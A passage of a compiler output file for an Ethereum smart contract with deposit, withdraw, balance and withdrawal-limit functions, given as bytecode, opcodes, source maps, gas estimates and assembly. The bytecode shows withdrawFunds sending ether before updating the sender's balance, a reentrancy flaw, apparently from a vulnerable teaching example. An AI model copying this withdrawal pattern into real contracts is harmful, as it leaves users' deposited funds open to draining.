KECCAK256 SMOD 0x4e PUSH16 0xE5CEC4AB62E5ABCA789B9B486BB4738B GAS 0xaa 0x4a 0xcc DUP6 SHL 0xf9 ORIGIN ISZERO 0xae PUSH12 0xE45E00290000000000000000 ", | |
"sourceMap": "25:740:1:-;;;84:7;51:40;;25:740;8:9:-1;5:2;;;30:1;27;20:12;5:2;25:740:1;;;;;;;" | |
}, | |
"deployedBytecode": { | |
"linkReferences": {}, | |
"object": "60806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631031ec3114610072578063155dd5ee146100c957806327e235e3146100f65780637ddfe78d1461014d578063e2c41dbc14610178575b600080fd5b34801561007e57600080fd5b506100b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610182565b6040518082815260200191505060405180910390f35b3480156100d557600080fd5b506100f46004803603810190808035906020019092919050505061019a565b005b34801561010257600080fd5b50610137600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610317565b6040518082815260200191505060405180910390f35b34801561015957600080fd5b5061016261032f565b6040518082815260200191505060405180910390f35b610180610335565b005b60016020528060005260406000206000915090505481565b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156101e857600080fd5b60005481111515156101f957600080fd5b62093a80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401421015151561024c57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168160405160006040518083038185875af192505050151561028357600080fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60026020528060005260406000206000915090505481565b60005481565b34600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505600a165627a7a72305820074e6fe5cec4ab62e5abca789b9b486bb4738b5aaa4acc851bf93215ae6be45e0029", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x6D JUMPI PUSH1 0x0 CALLDATALOAD PUSH29 0x100000000000000000000000000000000000000000000000000000000 SWAP1 DIV PUSH4 0xFFFFFFFF AND DUP1 PUSH4 0x1031EC31 EQ PUSH2 0x72 JUMPI DUP1 PUSH4 0x155DD5EE EQ PUSH2 0xC9 JUMPI DUP1 PUSH4 0x27E235E3 EQ PUSH2 0xF6 JUMPI DUP1 PUSH4 0x7DDFE78D EQ PUSH2 0x14D JUMPI DUP1 PUSH4 0xE2C41DBC EQ PUSH2 0x178 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x7E JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xB3 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x182 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xD5 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xF4 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x19A JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x102 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x137 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x317 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x159 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x162 PUSH2 0x32F JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x180 PUSH2 0x335 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x1 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST DUP1 PUSH1 0x2 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD LT ISZERO ISZERO ISZERO PUSH2 0x1E8 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 SLOAD DUP2 GT ISZERO ISZERO ISZERO PUSH2 0x1F9 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH3 0x93A80 PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD ADD TIMESTAMP LT ISZERO ISZERO ISZERO PUSH2 0x24C JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 PUSH1 0x40 MLOAD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP8 GAS CALL SWAP3 POP POP POP ISZERO ISZERO PUSH2 0x283 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP1 PUSH1 0x2 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD SUB SWAP3 POP POP DUP2 SWAP1 SSTORE POP TIMESTAMP PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 DUP2 SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x2 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST PUSH1 0x0 SLOAD DUP2 JUMP JUMPDEST CALLVALUE PUSH1 0x2 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD ADD SWAP3 POP POP DUP2 SWAP1 SSTORE POP JUMP STOP LOG1 PUSH6 0x627A7A723058 KECCAK256 SMOD 0x4e PUSH16 0xE5CEC4AB62E5ABCA789B9B486BB4738B GAS 0xaa 0x4a 0xcc DUP6 SHL 0xf9 ORIGIN ISZERO 0xae PUSH12 0xE45E00290000000000000000 ", | |
"sourceMap": "25:740:1:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;97:51;;8:9:-1;5:2;;;30:1;27;20:12;5:2;97:51:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;299:463;;8:9:-1;5:2;;;30:1;27;20:12;5:2;299:463:1;;;;;;;;;;;;;;;;;;;;;;;;;;154:43;;8:9:-1;5:2;;;30:1;27;20:12;5:2;154:43:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;51:40;;8:9:-1;5:2;;;30:1;27;20:12;5:2;51:40:1;;;;;;;;;;;;;;;;;;;;;;;204:89;;;;;;97:51;;;;;;;;;;;;;;;;;:::o;299:463::-;396:14;372:8;:20;381:10;372:20;;;;;;;;;;;;;;;;:38;;364:47;;;;;;;;479:15;;461:14;:33;;453:42;;;;;;;;597:7;566:16;:28;583:10;566:28;;;;;;;;;;;;;;;;:38;559:3;:45;;551:54;;;;;;;;623:10;:15;;645:14;623:39;;;;;;;;;;;;;;;;;615:48;;;;;;;;697:14;673:8;:20;682:10;673:20;;;;;;;;;;;;;;;;:38;;;;;;;;;;;752:3;721:16;:28;738:10;721:28;;;;;;;;;;;;;;;:34;;;;299:463;:::o;154:43::-;;;;;;;;;;;;;;;;;:::o;51:40::-;;;;:::o;204:89::-;277:9;253:8;:20;262:10;253:20;;;;;;;;;;;;;;;;:33;;;;;;;;;;;204:89::o" | |
}, | |
"gasEstimates": { | |
"creation": { | |
"codeDepositCost": "188800", | |
"executionCost": "20238", | |
"totalCost": "209038" | |
}, | |
"external": { | |
"balances(address)": "576", | |
"depositFunds()": "20518", | |
"lastWithdrawTime(address)": "532", | |
"withdrawFunds(uint256)": "infinite", | |
"withdrawalLimit()": "460" | |
} | |
}, | |
"legacyAssembly": { | |
".code": [ | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "80" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 84, | |
"end": 91, | |
"name": "PUSH", | |
"value": "DE0B6B3A7640000" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "SSTORE" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "POP" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH #[$]", | |
"value": "0000000000000000000000000000000000000000000000000000000000000000" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH [$]", | |
"value": "0000000000000000000000000000000000000000000000000000000000000000" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "CODECOPY" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "RETURN" | |
} | |
], | |
".data": { | |
"0": { | |
".auxdata": "a165627a7a72305820074e6fe5cec4ab62e5abca789b9b486bb4738b5aaa4acc851bf93215ae6be45e0029", | |
".code": [ | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "80" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "4" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "CALLDATASIZE" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "LT" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH [tag]", | |
"value": "1" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "CALLDATALOAD" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "100000000000000000000000000000000000000000000000000000000" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "DIV" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "FFFFFFFF" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "AND" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "1031EC31" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "EQ" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH [tag]", | |
"value": "2" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "155DD5EE" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "EQ" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH [tag]", | |
"value": "3" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "27E235E3" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "EQ" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH [tag]", | |
"value": "4" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "7DDFE78D" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "EQ" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH [tag]", | |
"value": "5" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "E2C41DBC" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "EQ" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH [tag]", | |
"value": "6" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "tag", | |
"value": "1" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "tag", | |
"value": "2" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "7" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "7" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "POP" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH [tag]", | |
"value": "8" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH", | |
"value": "4" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "CALLDATASIZE" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "CALLDATALOAD" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "AND" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SWAP3" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "POP" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "POP" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "POP" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH [tag]", | |
"value": "9" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "JUMP" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "tag", | |
"value": "8" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "POP" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "POP" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "RETURN" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "tag", | |
"value": "3" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "10" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "10" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "POP" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "PUSH [tag]", | |
"value": "11" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "PUSH", | |
"value": "4" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "CALLDATASIZE" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "CALLDATALOAD" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "SWAP3" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "POP" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "POP" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "POP" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "PUSH [tag]", | |
"value": "12" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "JUMP" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "tag", | |
"value": "11" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "STOP" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "tag", | |
"value": "4" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "13" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "13" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "POP" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH [tag]", | |
"value": "14" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH", | |
"value": "4" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "CALLDATASIZE" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "CALLDATALOAD" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "AND" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SWAP3" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "POP" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "POP" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "POP" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH [tag]", | |
"value": "15" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "JUMP" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "tag", | |
"value": "14" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
